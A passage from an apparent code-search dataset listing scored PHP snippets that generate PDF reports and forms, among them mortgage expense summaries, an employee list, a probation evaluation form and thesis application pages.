\".$datos['notaria_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Gestoría: \".$datos['gestoria_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Resgistro: \".$datos['registro_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"I.V.A. (Notaría+Gestoría+Registro): \".$datos['iva_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Seguro: \".$datos['seguro_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Total gastos hipoteca: \".$datos['total_gastos_hipoteca'],0,'L',0);\n\t\t$this->pdf->Ln(7);\n\t\t// Gastos de compra-venta\n\t\t$this->pdf->SetFont('Arial','BU',10);\n\t\t$this->pdf->MultiCell(190,5,\"GASTOS DE COMPRA-VENTA\",0,'L',0);\n\t\t$this->pdf->Ln(2);\n\t\t$this->pdf->SetFont(\"arial\", \"\", 8);\n\t\t// Dependiendo del tipo de presupuesto (nuevo inmueble)\n\t\tif($this->tipo_presupuesto==\"nuevo_inmueble\")\n\t\t{\n\t\t\t$this->pdf->MultiCell(195,4,\"I.V.A. nuevo inmueble: \".$datos['iva_nueva_vivienda'],0,'L',0);\n\t\t\t$this->pdf->Ln(5);\n\t\t\t$this->pdf->MultiCell(195,4,\"Impuesto A.J.D.: \".$datos['iajd_nueva_vivienda'],0,'L',0);\n\t\t\t$this->pdf->Ln(5);\n\t\t}\n\t\t// Dependiendo del tipo de presupuesto (inmueble usado)\n\t\tif($this->tipo_presupuesto==\"inmueble_usado\")\n\t\t{\n\t\t\t$this->pdf->MultiCell(195,4,\"Impu. Trans. Patrimoniales: \".$datos['itp'],0,'L',0);\n\t\t\t$this->pdf->Ln(5);\n\t\t}\n\t\t$this->pdf->MultiCell(195,4,\"Notaría: \".$datos['notaria'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Gestoría: \".$datos['gestoria'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Resgistro: \".$datos['registro'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"I.V.A. (Notaría+Gestoría+Registro): \".$datos['iva_gastos_comunes'],0,'L',0);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(195,4,\"Total gastos compra: \".$datos['total_gastos_compra'],0,'L',0);\n\t\t$this->pdf->Ln(7);\n\t\t// Total de gastos\n\t\t$this->pdf->SetFont('Arial','B',10);\n\t\t$this->pdf->MultiCell(190,5,\"TOTAL DE GASTOS: \".$datos['total_gastos'],0,'L',0);\n\t}", "title": "" }, { "docid": "1adbde0cdeff27b7294c5e32ba98434e", "score": "0.7349266", "text": "function Cabecera($pdf) {\r\n\t$nombre=$nombreG;\r\n\t$cedula=$cedulaG;\r\n\t$pdf->AddPage();\r\n\t$pdf->Image('../imagenes/logos/contraloria.jpg', 10, 10, 10, 10);\t\r\n\t$pdf->SetFont('Arial', 'B', 8);\r\n\t$pdf->SetXY(20, 10); $pdf->Cell(190, 5,utf8_decode( 'Contraloría del Estado Monagas'), 0, 1, 'L');\r\n\t$pdf->SetXY(20, 15); $pdf->Cell(190, 5, utf8_decode('Dirección de Recursos Humanos'), 0, 1, 'L');\r\n\t$pdf->SetFont('Arial', 'B', 10);\r\n\t$pdf->Cell(190, 10, 'ESTADO DE CUENTA POR BENEFICIO', 0, 1, 'C');\t\r\n\t\r\n\t$pdf->SetFont('Arial', 'B', 6);\r\n\t$pdf->SetXY(5, 30);$pdf->Cell(15, 5, 'Funcionario: ', 0, 0, 'L');\r\n\t$pdf->SetXY(20, 30);$pdf->Cell(80, 5, utf8_decode($GLOBALS[\"nombreG\"]), 0, 1, 'L');\r\n\t$pdf->SetXY(160, 30);$pdf->Cell(30, 5, 'Fecha: '.date('d-m-Y'), 0, 1, 'L');\r\n\r\n\t$pdf->SetXY(5, 35);$pdf->Cell(190, 5, 'C.I.: ', 0, 1, 'L');\r\n\t$pdf->SetXY(20, 35);$pdf->Cell(190, 5, $GLOBALS[\"cedulaG\"], 0, 1, 'L');\r\n\r\n\t$pdf->SetDrawColor(255, 255, 255); $pdf->SetFillColor(255, 255, 255); $pdf->SetTextColor(0, 0, 0);\r\n\t$pdf->SetFont('Arial', 'B', 6);\r\n\t$pdf->SetWidths(array(5,15, 40, 40, 15,20, 20,20));\r\n\t$pdf->SetAligns(array('C', 'L', 'L', 'R', 'R', 'R','R','R'));\r\n\t$pdf->Row(array(utf8_decode('Nº'),'', 'T. Servicio','Limite',utf8_decode('Nº Solicitud'), 'Fecha', 'Monto Solicitado', 'Monto Disponible'));\r\n\t$pdf->SetDrawColor(0, 0, 0); $pdf->SetFillColor(0, 0, 0); $pdf->SetTextColor(0, 0, 0);\r\n\t$y=$pdf->GetY();\r\n\t$pdf->Rect(5, $y, 175, 0.1, \"DF\");\r\n\t$pdf->Ln(2);\r\n}", "title": "" }, { "docid": "d85fee18e29008f491222c3c7c3ca5f0", "score": "0.7343936", "text": "function report(){\r\n$pdf = new PDF('P','mm','Letter');\r\n$pdf->AliasNbPages();\r\n$pdf->AddPage();\r\n$pdf->SetFont('Times','',10);\r\n// ebc5c72026c6baf3c1efc5631139fdab $pdf->ChapterTitle(1,'HOLA');\r\n\r\n// ebc5c72026c6baf3c1efc5631139fdab $fechafmt=$_GET['fecha'];\r\n// ebc5c72026c6baf3c1efc5631139fdab $fecha=cambiaf_a_mysql($fechafmt);\r\n$fecha = date('d/m/Y');\r\n//$id_agenda = $_GET['id_agenda'];\r\n$id_agenda = 30;\r\n$nodo = new paciente();\r\n$nodo->setid_agenda($id_agenda);\r\n$nodo->getpacientexagenda();\r\n\r\n\r\n $pdf->FECHATitle('','FECHA:'.$fecha);\r\n $pdf->Cell(0,4,'',0,1);\r\n $cod_tipo_especialista = 1; \r\n //$pdf->ChapterTitle2(' Reporte agenda - paciente: '.getnombrepaciente($id_paciente),' ');\r\n $pdf->ChapterTitle2('Datos paciente - '.'',' ');\r\n //unset($arrAgendado);\r\n //$arrAgendado = $nodo->rptagendadiaria;\r\n datos_pacientes($nodo->arrobtPaciente, $pdf);\r\n $pdf->ChapterTitle2(' Reporte agenda - paciente: '.'',' ');\r\n$me= new cls_atencion();\r\n$me->setid_paciente(39);\r\n //$me->setid_paciente(intval($nodo->arrobtPaciente[0]['id_paciente']));\r\n $me->msoatencionxpaciente();\r\n \r\n imprimirrptpachra($me->arratencion, $pdf);\r\n $pdf->Ln();$pdf->Ln();$pdf->Ln();$pdf->Ln();$pdf->Ln();$pdf->Ln();\r\n $pdf->Cell(0,4,'',0,1);\r\n \r\n \r\n \r\n$pdf->Output();\r\n\r\n}", "title": "" }, { "docid": "4cc67db59155ff0eb2502c014e2ab998", "score": "0.73402834", "text": "public function print_karyawan(){\r\n\r\n $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);\r\n // document informasi\r\n $pdf->SetCreator('PT. Astrindo Senayasa');\r\n $pdf->SetTitle('Laporan Data Karyawan');\r\n $pdf->SetSubject('Data Karyawan');\r\n //header Data\r\n $pdf->SetHeaderData('logo.jpg',30,'PT. Astrindo Senayasa','Mangga Dua Square Blok G 24, Jalan Gunung Sahari Raya, Pademangan, RT.12/RW.6, Jakarta Utara, Daerah Khusus Ibukota Jakarta.',array(0, 0, 0),array(0, 0, 0));\r\n $pdf->SetFooterData(array(255, 255, 255), array(255, 255, 255));\r\n $pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->setFooterFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\r\n //set margin\r\n $pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP - 6,PDF_MARGIN_RIGHT);\r\n $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);\r\n $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);\r\n $pdf->SetAutoPageBreak(FALSE, PDF_MARGIN_BOTTOM - 5);\r\n //SET Scaling ImagickPixel\r\n $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);\r\n //FONT Subsetting\r\n $pdf->setFontSubsetting(true);\r\n $pdf->SetFont('helvetica','',6,'',true);\r\n // $pdf->AddPage('P');\r\n $pdf->AddPage('L');\r\n $i=0;\r\n $html='<h3>Data Karyawan</h3>\r\n <table border=\"0.5\" bgcolor=\"#666666\" cellpadding=\"2\" width: 100%>\r\n <tr align=\"center\" bgcolor=\"#ffffff\">\r\n <th width=\"3%\">No</th>\r\n <th align=\"center\">Nama Lengkap</th>\r\n <th align=\"center\">NIK</th>\r\n <th align=\"center\">Jabatan</th>\r\n <th align=\"center\">Pangkat</th>\r\n <th align=\"center\">Divisi</th>\r\n <th align=\"center\">Departemen</th>\r\n <th align=\"center\">Unit</th>\r\n <th align=\"center\">Nama Panggilan</th>\r\n <th align=\"center\">Identitas</th>\r\n <th align=\"center\">JK</th>\r\n <th align=\"center\">Tempat Lahir</th>\r\n <th align=\"center\">Tanggal Lahir</th>\r\n <th align=\"center\">Negara</th>\r\n <th align=\"center\">Agama</th>\r\n <th align=\"center\">NPWP</th>\r\n <th align=\"center\">Alamat</th>\r\n <th align=\"center\">Telp. Rumah</th>\r\n <th align=\"center\">No. Handphone</th>\r\n <th align=\"center\">Tgl. Masuk</th>\r\n <th align=\"center\">Status Kerja</th>\r\n <th align=\"center\">Status Nikah</th>\r\n <th align=\"center\">Email</th>\r\n </tr>';\r\n $karyawanku = $this->Md_karyawan->print();\r\n foreach ($karyawanku as $row) \r\n {\r\n $i++;\r\n $html.='<tr bgcolor=\"#ffffff\">\r\n <td align=\"center\">'.$i.'</td>\r\n <td>'.$row['nama_kry'].'</td>\r\n <td align=\"center\">'.$row['nik_kry'].'</td>\r\n <td>'.$row['jabatan_kry'].'</td>\r\n <td>'.$row['pangkat_kry'].'</td>\r\n <td>'.$row['divisi_kry'].'</td>\r\n <td>'.$row['dep_kry'].'</td>\r\n <td>'.$row['lokasi_kry'].'</td>\r\n <td>'.$row['panggilan_kry'].'</td>\r\n <td>'.$row['identitas_kry'].'</td>\r\n <td align=\"center\">'.$row['jk_kry'].'</td>\r\n <td>'.$row['tempat_lahir_kry'].'</td>\r\n <td align=\"center\">'.$row['tgl_lahir_kry'].'</td>\r\n <td>'.$row['negara_kry'].'</td>\r\n <td>'.$row['agama_kry'].'</td>\r\n <td align=\"center\">'.$row['npwp_kry'].'</td>\r\n <td>'.$row['alamat_kry'].'</td>\r\n <td align=\"center\">'.$row['tlp_rumah_kry'].'</td>\r\n <td align=\"center\">'.$row['no_hp_kry'].'</td>\r\n <td align=\"center\">'.$row['tgl_masuk_kry'].'</td>\r\n <td>'.$row['status_kerja_kry'].'</td>\r\n <td>'.$row['status_nikah_kry'].'</td>\r\n <td>'.$row['email_kry'].'</td>\r\n </tr>';\r\n }\r\n\r\n $html.='<p>AST-CRM-HRG-024 Rev. 02 10-03-2017 | '.date(\"d-m-Y\", time()) .'</p>';\r\n $html.='</table>';\r\n $pdf->writeHTML($html, true, false, true, false, '');\r\n ob_end_clean();\r\n $pdf->Output('laporan_karyawan'.date(\"d-m-Y\", time()) .'.pdf', 'I');\r\n }", "title": "" }, { "docid": "b37608f6023ac00764ac0b26e168e0d6", "score": "0.73219913", "text": "public function reportePdf()\n {\n //sql query\n //use pdf lib\n //return pdf_file\n }", "title": "" }, { "docid": "d49095710ef2d9ac1591abead4f36ae7", "score": "0.7320234", "text": "public function getPDF()\n {\n\n $fpdf = new PDF();\n $docentes = Docente::all();\n $columnas = ['NRO','CODIGO','APELLIDOS Y NOMBRES'];\n $fpdf->AddPage();\n $fpdf->Cell(80);\n $fpdf->Cell(30,5,'Lista de Docentes',0,1,'C');\n $fpdf->SetFont('Arial','B',9);\n $fpdf->Ln(2);\n $fpdf->SetFont('Arial','B',16);\n\n $fpdf->docentes($columnas,$docentes);\n $fpdf->Output();\n exit;\n }", "title": "" }, { "docid": "9aece0e7c0c0bd9958523d639160a95f", "score": "0.7307077", "text": "public function pdf_preview_aduan(){\n $data['model_pengaduan'] = $this->modelsistem->view_pengaduan();\n $this->load->view('pengaduan/v_pdf_preview_pengaduan', $data);\n }", "title": "" }, { "docid": "9b9ca31c8006749c9b5ef417e20db0e3", "score": "0.7305249", "text": "function processPagenr_7(){\n\t\n\tglobal $pdf; \n\t\n\t$pdf->SetFont('freeserif','',12);\n\t$pdf->SetXY(85, 31); //(horiz,vert)\n\t$pdf->Cell(105, 0, 'ime in priimek kandidata - tiskano', 1, 1, 'C', 0, '', 1);\n\t\n\t$pdf->SetXY(42, 41);$pdf->Cell(148, 0, 'naslov -1', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(30, 49);$pdf->Cell(160, 0, 'naslov - 2', 1, 1, 'C', 0, '', 1);\n\t\n\t\n\t$pdf->SetLineStyle(array('width' => 0.5, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0)));\n $pdf->Circle(31,70,3);\t\t\t$pdf->Circle(62,70,3);\n\t$pdf->SetLineStyle(array('width' => 0.1, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0)));\n\t\n\t\n\t $pdf->SetFont('freeserif','',10);\n $pdf->SetXY(30, 85);\n\t $pdf->MultiCell(160, 28, '[JUSTIFY] '.\"cilji in prob. \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\t\n\t \n $pdf->SetXY(30, 127);\n\t $pdf->MultiCell(160, 28, '[JUSTIFY] '.\"izhodišča. \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\t\n\n\n $pdf->SetXY(30, 173);\n\t $pdf->MultiCell(160, 28, '[JUSTIFY] '.\"metodologija \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\n\t \n $pdf->SetXY(30, 218);\n\t $pdf->MultiCell(160, 39, '[JUSTIFY] '.\"literatura \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\n\t \n\t \n\t $pdf->SetFont('freeserif','',12);\n\t\n\t\n\t\n\t$pdf->SetXY(42, 264);$pdf->Cell(56, 0, 'datum', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(132, 264);$pdf->Cell(58, 0, 'podpis kandidata', 1, 1, 'C', 0, '', 1);\n\t\n\t\n}", "title": "" }, { "docid": "c839cde896be4d3d54e4a42c01b2fffc", "score": "0.73041236", "text": "public function reporte_de_trabajos_pdf(){\n\t\t$datos_trabajo = $this->obj_trabajo->reportar_trabajos();\n\t\tob_start();\n\t\trequire_once 'app/vista/reportes/reporte_trabajos.php';\n\t\t$contenido = ob_get_clean();\n\t\t$nombre = \"reporte_trabajos.pdf\";\n\t\tControlador_Reporte::reportar($contenido,$nombre);\n\t}", "title": "" }, { "docid": "dcaddfd9838f10813f027ff3a4d44a1c", "score": "0.7300108", "text": "public function laporan_pdf2($no_restitusi){\n\n\t \n\t\t\n\t\t$data['restitusi']=$this->M_Report->restitusi($no_restitusi);\n\n\t $this->load->library('pdf');\n\t $this->pdf->setPaper('A4', 'potrait');\n\t $this->pdf->filename = \"laporan-petanikode.pdf\";\n\t $this->pdf->load_view('report_download2', $data);\n\t}", "title": "" }, { "docid": "bc95e261f6e2c189b3fd1a55d2e91d2a", "score": "0.7277586", "text": "public function form_percobaan(){\r\n\r\n $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);\r\n // document informasi\r\n $pdf->SetCreator('PT. Astrindo Senayasa');\r\n $pdf->SetTitle('Laporan Data Karyawan');\r\n $pdf->SetSubject('Karyawan Percobaan');\r\n //header Data\r\n $pdf->SetHeaderData('logo.jpg',30,'PT. Astrindo Senayasa','Mangga Dua Square Blok G 24, Jalan Gunung Sahari Raya, Pademangan, RT.12/RW.6, Jakarta Utara, Daerah Khusus Ibukota Jakarta.',array(0, 0, 0),array(0, 0, 0));\r\n $pdf->SetFooterData('AST-CRM-HRG-024 Rev. 02 10-03-2017',array(0, 0, 0), array(0, 0, 0));\r\n $pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->setFooterFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\r\n //set margin\r\n $pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP - 6,PDF_MARGIN_RIGHT);\r\n $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);\r\n $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);\r\n $pdf->SetAutoPageBreak(FALSE, PDF_MARGIN_BOTTOM - 5);\r\n //SET Scaling ImagickPixel\r\n $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);\r\n //FONT Subsetting\r\n $pdf->setFontSubsetting(true);\r\n $pdf->SetFont('helvetica','',6,'',true);\r\n $pdf->AddPage('P');\r\n\r\n $percobaanku = $this->Md_percobaan->print();\r\n foreach ($percobaanku as $row) \r\n \r\n $html='\r\n <br>\r\n <h3 align=\"center\">FORM PENILAIAN MASA PERCOBAAN <br><span>( Operator / Staff )</span></h3>\r\n <br><br><br><br>\r\n <table>\r\n <tbody>\r\n <tr>\r\n <td width=\"15%\"> Nama Lengkap </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['nama_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> NIK </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['nik_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Departemen</td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['dep_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Jabatan </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['jabatan_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Tanggal Masuk </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['tgl_masuk_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Jenis Percobaan</td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['jenis_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Tanggal Mulai </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['tgl_mulai_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Tanggal Selesai </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['tgl_selesai_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Percobaan Ke</td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['percobaan_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Catatan HR/GA </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['catatan_hr_cb'].'</td>\r\n </tr>\r\n <tr>\r\n <td width=\"15%\"> Catatan Atasan </td>\r\n <td width=\"1%\">:</td>\r\n <td>'.$row['catatan_atasan_cb'].'</td>\r\n </tr>\r\n </tbody> \r\n </table>\r\n\r\n <p>Harap diisi penilaian terhadap karyawan Saudara dan dikembalikan ke bagian HRG setelah selesai dilakukan penilaian.</p>\r\n <p>Penilaian dilakukan berdasarkan kriteria di bawah ini :</p>\r\n \r\n <table border=\"0.5\">\r\n <tr>\r\n <td width=\"20px\" align=\"center\" rowspan=\"2\"><b>NO</b></td>\r\n <td width=\"150px\" align=\"center\" rowspan=\"2\"><b>KRITERIA</b></td>\r\n <td width=\"100px\" align=\"center\" colspan=\"5\"><b>KATEGORI</b></td> \r\n <td width=\"200px\" align=\"center\" rowspan=\"2\"><b>KETERANGAN</b></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">0</td>\r\n <td align=\"center\">1</td>\r\n <td align=\"center\">2</td>\r\n <td align=\"center\">3</td>\r\n <td align=\"center\">4</td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\"><b>A</b></td>\r\n <td> <b>GENERAL</b></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">1</td>\r\n <td> Disiplin</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">2</td>\r\n <td> Integritas</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">3</td>\r\n <td> Komunikasi</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">4</td>\r\n <td> Disiplin</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">5</td>\r\n <td> Integritas</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">6</td>\r\n <td> Komunikasi</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">7</td>\r\n <td> Disiplin</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\"><b>B</b></td>\r\n <td> <b>OBJECTIVES</b></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">1</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">2</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">3</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td colspan=\"8\"><b> Dikembalikan he HRD Tanggal:</b></td>\r\n </tr>\r\n </table>\r\n \r\n <p>Berdasarkan hasil penilaian selama masa percobaan :</p>\r\n <table>\r\n <tbody>\r\n <tr>\r\n <td><b>Kesimpulan User :</b> </td>\r\n </tr>\r\n <tr>\r\n <td>1. Karyawan LULUS masa percobaan.</td>\r\n </tr>\r\n <tr>\r\n <td>2. Karyawan LULUS masa percobaan dan diangkat menjadi karyawan tetap.</td>\r\n </tr>\r\n <tr>\r\n <td>3. Karyawan LULUS masa percobaan dengan kontrak 1 (satu) tahun</td>\r\n </tr>\r\n <tr>\r\n <td>4. Masa percobaan diperpanjang 3 (tiga) / 6 (enam) / 12 (dua belas) *) bulan</td>\r\n </tr>\r\n <tr>\r\n <td>5. Karyawan TIDAK LULUS masa percobaan.</td>\r\n </tr>\r\n <tr>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td><b>Kesimpulan HR & GA :</b> </td>\r\n </tr>\r\n <tr>\r\n <td>1. Karyawan LULUS masa percobaan.</td>\r\n </tr>\r\n <tr>\r\n <td>2. Karyawan LULUS masa percobaan dan diangkat menjadi karyawan tetap.</td>\r\n </tr>\r\n <tr>\r\n <td>3. Karyawan LULUS masa percobaan dengan kontrak 1 (satu) tahun</td>\r\n </tr>\r\n <tr>\r\n <td>4. Masa percobaan diperpanjang 3 (tiga) / 6 (enam) / 12 (dua belas) *) bulan</td>\r\n </tr>\r\n <tr>\r\n <td>5. Karyawan TIDAK LULUS masa percobaan.</td>\r\n </tr>\r\n </tbody>\r\n </table>\r\n \r\n <p><b>Catatan HR & GA:</b></p>\r\n <p>...................................................................................................</p>\r\n <p ><b>Catatan Atasan Langsung:</b></p>\r\n <p>...................................................................................................</p>\r\n \r\n <p>Jakarta, ...................., 2018</p>\r\n <table>\r\n <tr>\r\n <td align=\"center\">Penilai, <br>Atasan Langsung</td>\r\n <td align=\"center\">Mengetahui, <br>Karyawan</td>\r\n <td align=\"center\">Catatan Tidak Langsung</td>\r\n </tr>\r\n <tr>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">(..................................)</td>\r\n <td align=\"center\">(..................................)</td>\r\n <td align=\"center\">(..................................)</td>\r\n </tr>\r\n </table>\r\n \r\n <p><b>Catatan : </b></p>\r\n <p>1. Objectives diisi oleh atasan langsung disesuaikan dengan pekerjaan masing-masing karyawan. Khusus untuk tim sales salah satu isi dari objectives adalah sales achievement.</p>\r\n <p>2. Kriteria pengisian untuk penilaian adalah sebagai berikut : </p>\r\n \r\n <table border=\"0.5\">\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">4</td>\r\n <td style=\"width:600px\"> <b>Sangat Baik :</b> Secara keseluruhan kinerja Karyawan istimewa dan melampaui standard/target yang diberikan. Berjasa memberi nilai tambah suatu hasil nilai kerja, menghasilkan karya yang meningkatkan produktifitas/kualitas secara nyata.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">3</td>\r\n <td style=\"width:600px\"> <b>Baik :</b> Kinerja Karyawan sesuai/sedikit di atas standard/target yang ditetapkan. Target terlampaui. Bisa diandalkan dan diberi tanggung jawab lebih.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">2</td>\r\n <td style=\"width:600px\"> <b>Cukup :</b> Kinerja Karyawan sedikit di bawah standard. Beberapa target tidak tercapai. Masih memerlukan bantuan/arahan/bimbingan.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">1</td>\r\n <td style=\"width:600px\"> <b>Sangat Kurang :</b> Kinerja Karyawan di bawah standard, hampir tidak memenuhi semua standard/target kerja. Membutuhkan bantuan/bimbingan/arahan yang sangat intensif.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">0</td>\r\n <td style=\"width:600px\"> <b>Buruk :</b> Kinerja karyawan jauh di bawah standard, tidak memenuhi semua standard/target kerja. Kinerja karyawan perlu di tinjau kembali..</td>\r\n </tr>\r\n </table>\r\n <p style=\"font-color:red\";>*) Lingkari yang dipilih</p>\r\n ';\r\n\r\n $html.='<p>AST-CRM-HRG-024 Rev. 02 10-03-2017 | '.date(\"d-m-Y\", time()) .'</p>';\r\n \r\n $pdf->writeHTMLCell(0, 0, '', '', $html, 0, 0, 0, true, '', true);\r\n ob_end_clean();\r\n $pdf->Output('form_percobaan'.date(\"d-m-Y\", time()) .'.pdf','I');\r\n }", "title": "" }, { "docid": "43dd4c908a7e62d1c18058c87635864a", "score": "0.7270452", "text": "function processPagenr_5(){\n\t\n\tglobal $pdf; \t\n\t$pdf->SetFont('freeserif','',12);\n\t\n\t\n\t $pdf->SetFont('freeserif','',10);\n $pdf->SetXY(30, 30);\n\t $pdf->MultiCell(160, 135, '[JUSTIFY] '.\"zabeležke mentorja \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\t \n\t $pdf->SetFont('freeserif','',12);\n\t\n\t \n\t$pdf->SetXY(41, 176); $pdf->Cell(55, 0, 'datum', 1, 1, 'C', 0, '', 1);\t\n\t$pdf->SetXY(64, 185);$pdf->Cell(54, 0, 'ime priimek mentorja', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(145, 185);$pdf->Cell(45, 0, 'podpis mentorja', 1, 1, 'C', 0, '', 1);\t\n\t\n\t//-------------- komisija\n\t$pdf->SetXY(62, 210);$pdf->Cell(128, 0, 'ime in pri ucitelja komis 1', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(62, 218);$pdf->Cell(128, 0, 'podpis uc komiss 1', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(62, 227);$pdf->Cell(128, 0, 'ime in pri ucitelja komis 2', 1, 1, 'C', 0, '', 1);\n\t$pdf->SetXY(62, 235);$pdf->Cell(128, 0, 'podpis uc komiss 2', 1, 1, 'C', 0, '', 1);\n\t\n}", "title": "" }, { "docid": "2ed2bd7d5b22789ab7a10bc2042e8473", "score": "0.72524047", "text": "function processPagenr_3(){\n\t\tglobal $pdf; \n\t\t\n\t\t\n\t$pdf->SetXY(30, 33);\n\t$pdf->MultiCell(160, 80, '[JUSTIFY] '.\"opombe - konzult 1\\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\t\n\t\t\n\t\t\t\n\t$pdf->SetFont('freeserif','',12);\n\t$pdf->SetXY(41, 119); //(horiz,vert)\n\t\n\t $pdf->Cell(62, 0, '1 kon datum', 1, 1, 'C', 0, '', 